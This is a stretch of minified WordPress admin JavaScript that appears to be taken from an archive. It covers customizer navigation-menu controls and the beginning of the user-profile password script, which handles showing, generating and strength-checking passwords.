e=0!==n.setting();n.container.find(".create-menu").toggleClass("hidden",e),n.container.find(".edit-menu").toggleClass("hidden",!e)}),u.bind("add",function(e){var t=e.id.match(i);t&&!1!==e()&&(t=t[1],e=new Option(c(e().name),t),n.container.find("select").append(e))}),u.bind("remove",function(e){var e=e.id.match(i);e&&(e=parseInt(e[1],10),n.setting()===e&&n.setting.set(""),n.container.find("option[value="+e+"]").remove())}),u.bind("change",function(e){var t=e.id.match(i);t&&(t=parseInt(t[1],10),!1===e()?(n.setting()===t&&n.setting.set(""),n.container.find("option[value="+t+"]").remove()):n.container.find("option[value="+t+"]").text(c(e().name)))})}}),u.Menus.MenuItemControl=u.Control.extend({initialize:function(e,t){var n=this;n.expanded=new u.Value(!1),n.expandedArgumentsQueue=[],n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=m.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),u.Control.prototype.initialize.call(n,e,t),n.active.validate=function(){var e=u.section(n.section()),e=!!e&&e.active();return e}},initAccessibility:function(){var e=this,t=m("#menu-to-edit");t.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){e.refreshAdvancedAccessibilityOfItem(m(this).find("button.item-edit"))}),t.on("click","button.item-edit",function(){e.refreshAdvancedAccessibilityOfItem(m(this))})},refreshAdvancedAccessibilityOfItem:function(e){var t,n,i,a,o,s,r,d;!0===m(e).data("needs_accessibility_refresh")&&(o=0===(a=(i=(e=m(e)).closest("li.menu-item").first()).menuItemDepth()),s=e.closest(".menu-item-handle").find(".menu-item-title").text(),r=e.closest(".menu-item-handle").find(".item-type").text(),d=m("#menu-to-edit li").length,d=o?(t=(o=m(".menu-item-depth-0")).index(i)+1,d=o.length,menus.menuFocus.replace("%1$s",s).replace("%2$s",r).replace("%3$d",t).replace("%4$d",d)):(d=(o=i.prevAll(".menu-item-depth-"+parseInt(a-1,10)).first()).find(".menu-item-data-db-id").val(),o=o.find(".menu-item-title").text(),n=(d=m('.menu-item .menu-item-data-parent-id[value="'+d+'"]')).length,t=m(d.parents(".menu-item").get().reverse()).index(i)+1,a<2?menus.subMenuFocus.replace("%1$s",s).replace("%2$s",r).replace("%3$d",t).replace("%4$d",n).replace("%5$s",o):menus.subMenuMoreDepthFocus.replace("%1$s",s).replace("%2$s",r).replace("%3$d",t).replace("%4$d",n).replace("%5$s",o).replace("%6$d",a)),e.find(".screen-reader-text").text(d),e.data("needs_accessibility_refresh",!1))},embed:function(){var e=this.section();e&&((e=u.section(e))&&e.expanded()||u.settings.autofocus.control===this.id)&&this.actuallyEmbed()},actuallyEmbed:function(){"resolved"!==this.deferred.embedded.state()&&(this.renderContent(),this.deferred.embedded.resolve(),m("button.item-edit").data("needs_accessibility_refresh",!0))},ready:function(){if(void 0===this.params.menu_item_id)throw new Error("params.menu_item_id was not defined");this._setupControlToggle(),this._setupReorderUI(),this._setupUpdateUI(),this._setupRemoveUI(),this._setupLinksUI(),this._setupTitleUI()},_setupControlToggle:function(){var i=this;this.container.find(".menu-item-handle").on("click",function(e){e.preventDefault(),e.stopPropagation();var t=i.getMenuControl(),n=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||n||e||u.Menus.availableMenuItemsPanel.close(),t.isReordering||t.isSorting||i.toggleForm()})},_setupReorderUI:function(){var o=this,e=l.template("menu-item-reorder-nav");o.container.find(".item-controls").after(e),o.container.find(".menu-item-reorder-nav").find(".menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right").on("click",function(){var e=m(this),t=(o.params.depth=o.getDepth(),e.focus(),e.is(".menus-move-up")),n=e.is(".menus-move-down"),i=e.is(".menus-move-left"),a=e.is(".menus-move-right");t?o.moveUp():n?o.moveDown():i?o.moveLeft():a&&(o.moveRight(),o.params.depth+=1),e.focus(),m("button.item-edit").data("needs_accessibility_refresh",!0)})},_setupUpdateUI:function(){var e,s=this,t=s.setting();s.elements={},s.elements.url=new u.Element(s.container.find(".edit-menu-item-url")),s.elements.title=new u.Element(s.container.find(".edit-menu-item-title")),s.elements.attr_title=new u.Element(s.container.find(".edit-menu-item-attr-title")),s.elements.target=new u.Element(s.container.find(".edit-menu-item-target")),s.elements.classes=new u.Element(s.container.find(".edit-menu-item-classes")),s.elements.xfn=new u.Element(s.container.find(".edit-menu-item-xfn")),s.elements.description=new u.Element(s.container.find(".edit-menu-item-description")),_.each(s.elements,function(n,i){n.bind(function(e){n.element.is("input[type=checkbox]")&&(e=e?n.element.val():"");var t=s.setting();t&&t[i]!==e&&((t=_.clone(t))[i]=e,s.setting.set(t))}),t&&("classes"!==i&&"xfn"!==i||!_.isArray(t[i])?n.set(t[i]):n.set(t[i].join(" ")))}),s.setting.bind(function(n,i){var e,t=s.params.menu_item_id,a=[],o=[];!1===n?(e=u.control("nav_menu["+String(i.nav_menu_term_id)+"]"),s.container.remove(),_.each(e.getMenuItemControls(),function(e){i.menu_item_parent===e.setting().menu_item_parent&&e.setting().position>i.position?a.push(e):e.setting().menu_item_parent===t&&o.push(e)}),_.each(a,function(e){var t=_.clone(e.setting());t.position+=o.length,e.setting.set(t)}),_.each(o,function(e,t){var n=_.clone(e.setting());n.position=i.position+t,n.menu_item_parent=i.menu_item_parent,e.setting.set(n)}),e.debouncedReflowMenuItems()):(_.each(n,function(e,t){s.elements[t]&&s.elements[t].set(n[t])}),s.container.find(".menu-item-data-parent-id").val(n.menu_item_parent),n.position===i.position&&n.menu_item_parent===i.menu_item_parent||s.getMenuControl().debouncedReflowMenuItems())}),s.setting.notifications.bind("add",e=function(){s.elements.url.element.toggleClass("invalid",s.setting.notifications.has("invalid_url"))}),s.setting.notifications.bind("removed",e)},_setupRemoveUI:function(){var r=this;r.container.find(".item-delete").on("click",function(){var e,t,n,i=!0,a=0,o=r.params.original_item_id,s=r.getMenuControl().$sectionContent.find(".menu-item");m("body").hasClass("adding-menu-items")||(i=!1),n=r.container.nextAll(".customize-control-nav_menu_item:visible").first(),t=r.container.prevAll(".customize-control-nav_menu_item:visible").first(),e=(n.length?n.find(!1===i?".item-edit":".item-delete"):t.length?t.find(!1===i?".item-edit":".item-delete"):r.container.nextAll(".customize-control-nav_menu").find(".add-new-menu-item")).first(),_.each(s,function(e){m(e).is(":visible")&&(e=e.getAttribute("id").match(/^customize-control-nav_menu_item-(-?\d+)$/,""))&&(e=parseInt(e[1],10),e=u.control("nav_menu_item["+String(e)+"]"))&&o==e.params.original_item_id&&a++}),a<=1&&((n=m("#menu-item-tpl-"+r.params.original_item_id)).removeClass("selected"),n.find(".menu-item-handle").removeClass("item-added")),r.container.slideUp(function(){r.setting.set(!1),l.a11y.speak(u.Menus.data.l10n.itemDeleted),e.focus()}),r.setting.set(!1)})},_setupLinksUI:function(){this.container.find("a.original-link").on("click",function(e){e.preventDefault(),u.previewer.previewUrl(e.target.toString())})},_setupTitleUI:function(){var i;this.container.find(".edit-menu-item-title").on("blur",function(){m(this).val(m(this).val().trim())}),i=this.container.find(".menu-item-title"),this.setting.bind(function(e){var t,n;e&&(e.title=e.title||"",n=(t=e.title.trim())||e.original_title||u.Menus.data.l10n.untitled,e._invalid&&(n=u.Menus.data.l10n.invalidTitleTpl.replace("%s",n)),t||e.original_title?i.text(n).removeClass("no-title"):i.text(n).addClass("no-title"))})},getDepth:function(){var e=this,t=e.setting(),n=0;if(!t)return 0;for(;t&&t.menu_item_parent&&(n+=1,e=u.control("nav_menu_item["+t.menu_item_parent+"]"));)t=e.setting();return n},renderContent:function(){var e,t=this,n=t.setting();t.params.title=n.title||"",t.params.depth=t.getDepth(),t.container.data("item-depth",t.params.depth),e=["menu-item","menu-item-depth-"+String(t.params.depth),"menu-item-"+n.object,"menu-item-edit-inactive"],n._invalid?(e.push("menu-item-invalid"),t.params.title=u.Menus.data.l10n.invalidTitleTpl.replace("%s",t.params.title)):"draft"===n.status&&(e.push("pending"),t.params.title=u.Menus.data.pendingTitleTpl.replace("%s",t.params.title)),t.params.el_classes=e.join(" "),t.params.item_type_label=n.type_label,t.params.item_type=n.type,t.params.url=n.url,t.params.target=n.target,t.params.attr_title=n.attr_title,t.params.classes=_.isArray(n.classes)?n.classes.join(" "):n.classes,t.params.xfn=n.xfn,t.params.description=n.description,t.params.parent=n.menu_item_parent,t.params.original_title=n.original_title||"",t.container.addClass(t.params.el_classes),u.Control.prototype.renderContent.call(t)},getMenuControl:function(){var e=this.setting();return e&&e.nav_menu_term_id?u.control("nav_menu["+e.nav_menu_term_id+"]"):null},expandControlSection:function(){var e=this.container.closest(".accordion-section");e.hasClass("open")||e.find(".accordion-section-title:first").trigger("click")},_toggleExpanded:u.Section.prototype._toggleExpanded,expand:u.Section.prototype.expand,expandForm:function(e){this.expand(e)},collapse:u.Section.prototype.collapse,collapseForm:function(e){this.collapse(e)},toggleForm:function(e,t){(e=void 0===e?!this.expanded():e)?this.expand(t):this.collapse(t)},onChangeExpanded:function(e,t){var n,i=this,a=this.container,o=a.find(".menu-item-settings:first");void 0===e&&(e=!o.is(":visible")),o.is(":visible")===e?t&&t.completeCallback&&t.completeCallback():e?(u.control.each(function(e){i.params.type===e.params.type&&i!==e&&e.collapseForm()}),n=function(){a.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active"),i.container.trigger("expanded"),t&&t.completeCallback&&t.completeCallback()},a.find(".item-edit").attr("aria-expanded","true"),o.slideDown("fast",n),i.container.trigger("expand")):(n=function(){a.addClass("menu-item-edit-inactive").removeClass("menu-item-edit-active"),i.container.trigger("collapsed"),t&&t.completeCallback&&t.completeCallback()},i.container.trigger("collapse"),a.find(".item-edit").attr("aria-expanded","false"),o.slideUp("fast",n))},focus:function(e){var t=this,n=(e=e||{}).completeCallback,i=function(){t.expandControlSection(),e.completeCallback=function(){t.container.find(".menu-item-settings").find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first().focus(),n&&n()},t.expandForm(e)};u.section.has(t.section())?u.section(t.section()).expand({completeCallback:i}):i()},moveUp:function(){this._changePosition(-1),l.a11y.speak(u.Menus.data.l10n.movedUp)},moveDown:function(){this._changePosition(1),l.a11y.speak(u.Menus.data.l10n.movedDown)},moveLeft:function(){this._changeDepth(-1),l.a11y.speak(u.Menus.data.l10n.movedLeft)},moveRight:function(){this._changeDepth(1),l.a11y.speak(u.Menus.data.l10n.movedRight)},_changePosition:function(e){var t,n=this,i=_.clone(n.setting()),a=[];if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");if(n.setting()){if(_(n.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===i.menu_item_parent&&a.push(e.setting)}),a.sort(function(e,t){return e().position-t().position}),-1===(t=_.indexOf(a,n.setting)))throw new Error("Expected setting to be among siblings.");0===t&&e<0||t===a.length-1&&0<e||((t=a[t+e])&&t.set(m.extend(_.clone(t()),{position:i.position})),i.position+=e,n.setting.set(i))}},_changeDepth:function(e){if(1!==e&&-1!==e)throw new Error("Offset changes by 1 are only supported.");var t,n,i=this,a=_.clone(i.setting()),o=[];if(_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&o.push(e)}),o.sort(function(e,t){return e.setting().position-t.setting().position}),-1===(t=_.indexOf(o,i)))throw new Error("Expected control to be among siblings.");-1===e?a.menu_item_parent&&(n=u.control("nav_menu_item["+a.menu_item_parent+"]"),_(o).chain().slice(t).each(function(e,t){e.setting.set(m.extend({},e.setting(),{menu_item_parent:i.params.menu_item_id,position:t}))}),_(i.getMenuControl().getMenuItemControls()).each(function(e){var t;e.setting().menu_item_parent===n.setting().menu_item_parent&&e.setting().position>n.setting().position&&(t=_.clone(e.setting()),e.setting.set(m.extend(t,{position:t.position+1})))}),a.position=n.setting().position+1,a.menu_item_parent=n.setting().menu_item_parent,i.setting.set(a)):1===e&&0!==t&&(a.menu_item_parent=o[t-1].params.menu_item_id,a.position=0,_(i.getMenuControl().getMenuItemControls()).each(function(e){e.setting().menu_item_parent===a.menu_item_parent&&(a.position=Math.max(a.position,e.setting().position))}),a.position+=1,i.setting.set(a))}}),u.Menus.MenuNameControl=u.Control.extend({ready:function(){var e,n=this;n.setting&&(e=n.setting(),n.nameElement=new u.Element(n.container.find(".menu-name-field")),n.nameElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).name=e,n.setting.set(t))}),e&&n.nameElement.set(e.name),n.setting.bind(function(e){e&&n.nameElement.set(e.name)}))}}),u.Menus.MenuLocationsControl=u.Control.extend({ready:function(){var d=this;d.container.find(".assigned-menu-location").each(function(){function t(e){var t=u("nav_menu["+String(e)+"]");e&&t&&t()?n.find(".theme-location-set").show().find("span").text(c(t().name)):n.find(".theme-location-set").hide()}var n=m(this),e=n.find("input[type=checkbox]"),i=new u.Element(e),a=u("nav_menu_locations["+e.data("location-id")+"]"),o=""===d.params.menu_id,s=o?_.noop:function(e){i.set(e)},r=o?_.noop:function(e){a.set(e?d.params.menu_id:0)};s(a.get()===d.params.menu_id),e.on("change",function(){r(this.checked)}),a.bind(function(e){s(e===d.params.menu_id),t(e)}),t(a.get())})},setSelections:function(i){this.container.find(".menu-location").each(function(e,t){var n=t.dataset.locationId;t.checked=n in i&&i[n]})}}),u.Menus.MenuAutoAddControl=u.Control.extend({ready:function(){var n=this,e=n.setting();n.active.validate=function(){var e=u.section(n.section()),e=!!e&&e.active();return e},n.autoAddElement=new u.Element(n.container.find("input[type=checkbox].auto_add")),n.autoAddElement.bind(function(e){var t=n.setting();t&&t.name!==e&&((t=_.clone(t)).auto_add=e,n.setting.set(t))}),e&&n.autoAddElement.set(e.auto_add),n.setting.bind(function(e){e&&n.autoAddElement.set(e.auto_add)})}}),u.Menus.MenuControl=u.Control.extend({ready:function(){var t,n,i=this,a=u.section(i.section()),o=i.params.menu_id,e=i.setting();if(void 0===this.params.menu_id)throw new Error("params.menu_id was not defined");i.active.validate=function(){var e=!!a&&a.active();return e},i.$controlSection=a.headContainer,i.$sectionContent=i.container.closest(".accordion-section-content"),this._setupModel(),u.section(i.section(),function(e){e.deferred.initSortables.done(function(e){i._setupSortable(e)})}),this._setupAddition(),this._setupTitle(),e&&(t=c(e.name),u.control.each(function(e){e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(e.container.find(".nav-menu-widget-form-controls:first").show(),e.container.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.container.find("select")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o))}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").show(),e.find(".nav-menu-widget-no-menus-message:first").hide(),0===(n=e.find(".widget-inside select:first")).find("option[value="+String(o)+"]").length)&&n.append(new Option(t,o)),_.defer(function(){i.updateInvitationVisibility()})},_setupModel:function(){var n=this,i=n.params.menu_id;n.setting.bind(function(e){var t;!1===e?n._handleDeletion():(t=c(e.name),u.control.each(function(e){e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&e.container.find("select").find("option[value="+String(i)+"]").text(t)}))})},_setupSortable:function(e){var a=this;if(!e.is(a.$sectionContent))throw new Error("Unexpected menuList.");e.on("sortstart",function(){a.isSorting=!0}),e.on("sortstop",function(){setTimeout(function(){var e=a.$sectionContent.sortable("toArray"),t=[],n=0,i=10;a.isSorting=!1,a.$sectionContent.scrollLeft(0),_.each(e,function(e){var e=e.match(/^customize-control-nav_menu_item-(-?\d+)$/,"");e&&(e=parseInt(e[1],10),e=u.control("nav_menu_item["+String(e)+"]"))&&t.push(e)}),_.each(t,function(e){var t;!1!==e.setting()&&(t=_.clone(e.setting()),n+=1,i+=1,t.position=n,e.priority(i),t.menu_item_parent=parseInt(e.container.find(".menu-item-data-parent-id").val(),10),t.menu_item_parent||(t.menu_item_parent=0),e.setting.set(t))}),m("button.item-edit").data("needs_accessibility_refresh",!0)})}),a.isReordering=!1,this.container.find(".reorder-toggle").on("click",function(){a.toggleReordering(!a.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-menu-item").on("click",function(e){t.$sectionContent.hasClass("reordering")||(m("body").hasClass("adding-menu-items")?(m(this).attr("aria-expanded","false"),u.Menus.availableMenuItemsPanel.close(),e.stopPropagation()):(m(this).attr("aria-expanded","true"),u.Menus.availableMenuItemsPanel.open(t)))})},_handleDeletion:function(){var e,n=this.params.menu_id,i=0,t=u.section(this.section()),a=function(){t.container.remove(),u.section.remove(t.id)};t&&t.expanded()?t.collapse({completeCallback:function(){a(),l.a11y.speak(u.Menus.data.l10n.menuDeleted),u.panel("nav_menus").focus()}}):a(),u.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(i+=1)}),u.control.each(function(e){var t;e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&((t=e.container.find("select")).val()===String(n)&&t.prop("selectedIndex",0).trigger("change"),e.container.find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.container.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.container.find("option[value="+String(n)+"]").remove())}),(e=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==i),e.find(".nav-menu-widget-no-menus-message:first").toggle(0===i),e.find("option[value="+String(n)+"]").remove()},_setupTitle:function(){var d=this;d.setting.bind(function(e){var t,n,i,a,o,s,r;e&&(t=u.section(d.section()),n=d.params.menu_id,i=t.headContainer.find(".accordion-section-title"),a=t.contentContainer.find(".customize-section-title h3"),o=t.headContainer.find(".menu-in-location"),s=a.find(".customize-action"),r=c(e.name),i.text(r),o.length&&o.appendTo(i),a.text(r),s.length&&s.prependTo(a),u.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+n+"]").text(r)}),t.contentContainer.find(".customize-control-checkbox input").each(function(){m(this).prop("checked")&&m(".current-menu-location-name-"+m(this).data("location-id")).text(r)}))})},toggleReordering:function(e){var t=this.container.find(".add-new-menu-item"),n=this.container.find(".reorder-toggle"),i=this.$sectionContent.find(".item-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),this.$sectionContent.sortable(this.isReordering?"disable":"enable"),this.isReordering?(t.attr({tabindex:"-1","aria-hidden":"true"}),n.attr("aria-label",u.Menus.data.l10n.reorderLabelOff),l.a11y.speak(u.Menus.data.l10n.reorderModeOn),i.attr("aria-hidden","false")):(t.removeAttr("tabindex aria-hidden"),n.attr("aria-label",u.Menus.data.l10n.reorderLabelOn),l.a11y.speak(u.Menus.data.l10n.reorderModeOff),i.attr("aria-hidden","true")),e)&&_(this.getMenuItemControls()).each(function(e){e.collapseForm()})},getMenuItemControls:function(){var t=[],n=this.params.menu_id;return u.control.each(function(e){"nav_menu_item"===e.params.type&&e.setting()&&n===e.setting().nav_menu_term_id&&t.push(e)}),t},reflowMenuItems:function(){var e=this.getMenuItemControls(),a=function(n){var t=[],i=n.currentParent;_.each(n.menuItemControls,function(e){i===e.setting().menu_item_parent&&t.push(e)}),t.sort(function(e,t){return e.setting().position-t.setting().position}),_.each(t,function(t){n.currentAbsolutePosition+=1,t.priority.set(n.currentAbsolutePosition),t.container.hasClass("menu-item-depth-"+String(n.currentDepth))||(_.each(t.container.prop("className").match(/menu-item-depth-\d+/g),function(e){t.container.removeClass(e)}),t.container.addClass("menu-item-depth-"+String(n.currentDepth))),t.container.data("item-depth",n.currentDepth),n.currentDepth+=1,n.currentParent=t.params.menu_item_id,a(n),--n.currentDepth,n.currentParent=i}),t.length&&(_(t).each(function(e){e.container.removeClass("move-up-disabled move-down-disabled move-left-disabled move-right-disabled"),0===n.currentDepth?e.container.addClass("move-left-disabled"):10===n.currentDepth&&e.container.addClass("move-right-disabled")}),t[0].container.addClass("move-up-disabled").addClass("move-right-disabled").toggleClass("move-down-disabled",1===t.length),t[t.length-1].container.addClass("move-down-disabled").toggleClass("move-up-disabled",1===t.length))};a({menuItemControls:e,currentParent:0,currentDepth:0,currentAbsolutePosition:0}),this.updateInvitationVisibility(e),this.container.find(".reorder-toggle").toggle(1<e.length)},debouncedReflowMenuItems:_.debounce(function(){this.reflowMenuItems.apply(this,arguments)},0),addItemToMenu:function(e){var t,n,i,a=0,o=10,s=e.id||"";return _.each(this.getMenuItemControls(),function(e){!1!==e.setting()&&(o=Math.max(o,e.priority()),0===e.setting().menu_item_parent)&&(a=Math.max(a,e.setting().position))}),a+=1,o+=1,delete(e=m.extend({},u.Menus.data.defaultSettingValues.nav_menu_item,e,{nav_menu_term_id:this.params.menu_id,position:a})).id,i=u.Menus.generatePlaceholderAutoIncrementId(),t="nav_menu_item["+String(i)+"]",n={type:"nav_menu_item",transport:u.Menus.data.settingTransport,previewer:u.previewer},(n=u.create(t,t,{},n)).set(e),e=new u.controlConstructor.nav_menu_item(t,{type:"nav_menu_item",section:this.id,priority:o,settings:{default:t},menu_item_id:i,original_item_id:s}),u.control.add(e),n.preview(),this.debouncedReflowMenuItems(),l.a11y.speak(u.Menus.data.l10n.itemAdded),e},updateInvitationVisibility:function(e){e=e||this.getMenuItemControls();this.container.find(".new-menu-item-invitation").toggle(0===e.length)}}),m.extend(u.controlConstructor,{nav_menu_location:u.Menus.MenuLocationControl,nav_menu_item:u.Menus.MenuItemControl,nav_menu:u.Menus.MenuControl,nav_menu_name:u.Menus.MenuNameControl,nav_menu_locations:u.Menus.MenuLocationsControl,nav_menu_auto_add:u.Menus.MenuAutoAddControl}),m.extend(u.panelConstructor,{nav_menus:u.Menus.MenusPanel}),m.extend(u.sectionConstructor,{nav_menu:u.Menus.MenuSection,new_menu:u.Menus.NewMenuSection}),u.bind("ready",function(){u.Menus.availableMenuItemsPanel=new u.Menus.AvailableMenuItemsPanelView({collection:u.Menus.availableMenuItems}),u.bind("saved",function(e){(e.nav_menu_updates||e.nav_menu_item_updates)&&u.Menus.applySavedData(e)}),u.state("changesetStatus").bind(function(e){"publish"===e&&(u("nav_menus_created_posts")._value=[])}),u.previewer.bind("focus-nav-menu-item-control",u.Menus.focusMenuItemControl)}),u.Menus.applySavedData=function(e){var c={},r={};_(e.nav_menu_updates).each(function(n){var e,t,i,a,o,s,r,d;if("inserted"===n.status){if(!n.previous_term_id)throw new Error("Expected previous_term_id");if(!n.term_id)throw new Error("Expected term_id");if(e="nav_menu["+String(n.previous_term_id)+"]",!u.has(e))throw new Error("Expected setting to exist: "+e);if(i=u(e),!u.section.has(e))throw new Error("Expected control to exist: "+e);if(o=u.section(e),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");s=m.extend(_.clone(s),n.saved_value),c[n.previous_term_id]=n.term_id,a="nav_menu["+String(n.term_id)+"]",t=u.create(a,a,s,{type:"nav_menu",transport:u.Menus.data.settingTransport,previewer:u.previewer}),(d=o.expanded())&&o.collapse(),a=new u.Menus.MenuSection(a,{panel:"nav_menus",title:s.name,customizeAction:u.Menus.data.l10n.customizingMenus,type:"nav_menu",priority:o.priority.get(),menu_id:n.term_id}),u.section.add(a),u.control.each(function(e){var t;e.extended(u.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(t=(e=e.container.find("select")).find("option[value="+String(n.previous_term_id)+"]"),e.find("option[value="+String(n.term_id)+"]").prop("selected",t.prop("selected")),t.remove())}),i.callbacks.disable(),i.set(!1),i.preview(),t.preview(),i._dirty=!1,o.container.remove(),u.section.remove(e),r=0,u.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(r+=1)}),(s=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==r),s.find(".nav-menu-widget-no-menus-message:first").toggle(0===r),s.find("option[value="+String(n.previous_term_id)+"]").remove(),l.customize.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+String(n.previous_term_id)+"]").remove()}),u.each(function(e){var t=u.state("saved").get();/^nav_menu_locations\[/.test(e.id)&&e.get()===n.previous_term_id&&(e.set(n.term_id),e._dirty=!1,u.state("saved").set(t),e.preview())}),d&&a.expand()}else if("updated"===n.status){if(t="nav_menu["+String(n.term_id)+"]",!u.has(t))throw new Error("Expected setting to exist: "+t);i=u(t),_.isEqual(n.saved_value,i.get())||(o=u.state("saved").get(),i.set(n.saved_value),i._dirty=!1,u.state("saved").set(o))}}),_(e.nav_menu_item_updates).each(function(e){e.previous_post_id&&(r[e.previous_post_id]=e.post_id)}),_(e.nav_menu_item_updates).each(function(e){var t,n,i,a,o,s;if("inserted"===e.status){if(!e.previous_post_id)throw new Error("Expected previous_post_id");if(!e.post_id)throw new Error("Expected post_id");if(t="nav_menu_item["+String(e.previous_post_id)+"]",!u.has(t))throw new Error("Expected setting to exist: "+t);if(i=u(t),!u.control.has(t))throw new Error("Expected control to exist: "+t);if(o=u.control(t),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");if((s=_.clone(s)).menu_item_parent<0){if(!r[s.menu_item_parent])throw new Error("inserted ID for menu_item_parent not available");s.menu_item_parent=r[s.menu_item_parent]}c[s.nav_menu_term_id]&&(s.nav_menu_term_id=c[s.nav_menu_term_id]),n="nav_menu_item["+String(e.post_id)+"]",a=u.create(n,n,s,{type:"nav_menu_item",transport:u.Menus.data.settingTransport,previewer:u.previewer}),s=new u.controlConstructor.nav_menu_item(n,{type:"nav_menu_item",menu_id:e.post_id,section:"nav_menu["+String(s.nav_menu_term_id)+"]",priority:o.priority.get(),settings:{default:n},menu_item_id:e.post_id}),o.container.remove(),u.control.remove(t),u.control.add(s),i.callbacks.disable(),i.set(!1),i.preview(),a.preview(),i._dirty=!1,s.container.toggleClass("menu-item-edit-inactive",o.container.hasClass("menu-item-edit-inactive"))}}),_.each(e.widget_nav_menu_updates,function(e,t){t=u(t);t&&(t._value=e,t.preview())})},u.Menus.focusMenuItemControl=function(e){e=u.Menus.getMenuItemControl(e);e&&e.focus()},u.Menus.getMenuControl=function(e){return u.control("nav_menu["+e+"]")},u.Menus.getMenuItemControl=function(e){return u.control("nav_menu_item["+e+"]")}}(wp.customize,wp,jQuery); js/user-profile.min.js 0000644 00000017475 15233246127 0010737 0 ustar 00 /*! This file is auto-generated */ !function(r){var s,a,t,n,i,o,p,l,d,c,u,h,w,f=!1,v=!1,m=wp.i18n.__,e=new ClipboardJS(".application-password-display .copy-button"),g=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),b=navigator.userAgent.toLowerCase(),y="undefined"!==window.safari&&"object"==typeof window.safari,k=-1!==b.indexOf("firefox");function _(){"function"!=typeof zxcvbn?setTimeout(_,50):(!a.val()||h.hasClass("is-open")?(a.val(a.data("pw")),a.trigger("pwupdate")):T(),H(),x(),1!==parseInt(o.data("start-masked"),10)?a.attr("type","text"):o.trigger("click"),r("#pw-weak-text-label").text(m("Confirm use of weak password")),"mailserver_pass"===a.prop("id")||r("#weblog_title").length||r(a).trigger("focus"))}function C(e){o.attr({"aria-label":m(e?"Show password":"Hide password")}).find(".text").text(m(e?"Show":"Hide")).end().find(".dashicons").removeClass(e?"dashicons-hidden":"dashicons-visibility").addClass(e?"dashicons-visibility":"dashicons-hidden")}function x(){o||((o=s.find(".wp-hide-pw")).show().on("click",function(){"password"===a.attr("type")?(a.attr("type","text"),C(!1)):(a.attr("type","password"),C(!0))}),s.closest("form").on("submit",function(){"text"===a.attr("type")&&(a.attr("type","password"),C(!0))}))}function L(e,s,a){var t=r("<div />",{role:"alert"});t.addClass("notice inline"),t.addClass("notice-"+(s?"success":"error")),t.text(r(r.parseHTML(a)).text()).wrapInner("<p />"),e.prop("disabled",s),e.siblings(".notice").remove(),e.before(t)}function S(){var e;s=r(".user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit"),r(".user-pass2-wrap").hide(),l=r("#submit, #wp-submit").on("click",function(){f=!1}),p=l.add(" #createusersub"),n=r(".pw-weak"),(i=n.find(".pw-checkbox")).on("change",function(){p.prop("disabled",!i.prop("checked"))}),(a=r("#pass1, #mailserver_pass")).length?(d=a.val(),1===parseInt(a.data("reveal"),10)&&_(),a.on("input pwupdate",function(){a.val()!==d&&(d=a.val(),a.removeClass("short bad good strong"),H())}),j(a)):j(a=r("#user_pass")),t=r("#pass2").on("input",function(){0<t.val().length&&(a.val(t.val()),t.val(""),d="",a.trigger("pwupdate"))}),a.is(":hidden")&&(a.prop("disabled",!0),t.prop("disabled",!0)),h=s.find(".wp-pwd"),e=s.find("button.wp-generate-pw"),x(),e.show(),e.on("click",function(){f=!0,e.not(".skip-aria-expanded").attr("aria-expanded","true"),h.show().addClass("is-open"),a.attr("disabled",!1),t.attr("disabled",!1),_(),C(!1),wp.ajax.post("generate-password").done(function(e){a.data("pw",e)})}),s.find("button.wp-cancel-pw").on("click",function(){f=!1,a.prop("disabled",!0),t.prop("disabled",!0),a.val("").trigger("pwupdate"),C(!1),h.hide().removeClass("is-open"),p.prop("disabled",!1),e.attr("aria-expanded","false")}),s.closest("form").on("submit",function(){f=!1,a.prop("disabled",!1),t.prop("disabled",!1),t.val(a.val())})}function T(){var e=r("#pass1").val();if(r("#pass-strength-result").removeClass("short bad good strong empty"),e&&""!==e.trim())switch(wp.passwordStrength.meter(e,wp.passwordStrength.userInputDisallowedList(),e)){case-1:r("#pass-strength-result").addClass("bad").html(pwsL10n.unknown);break;case 2:r("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:r("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:r("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;case 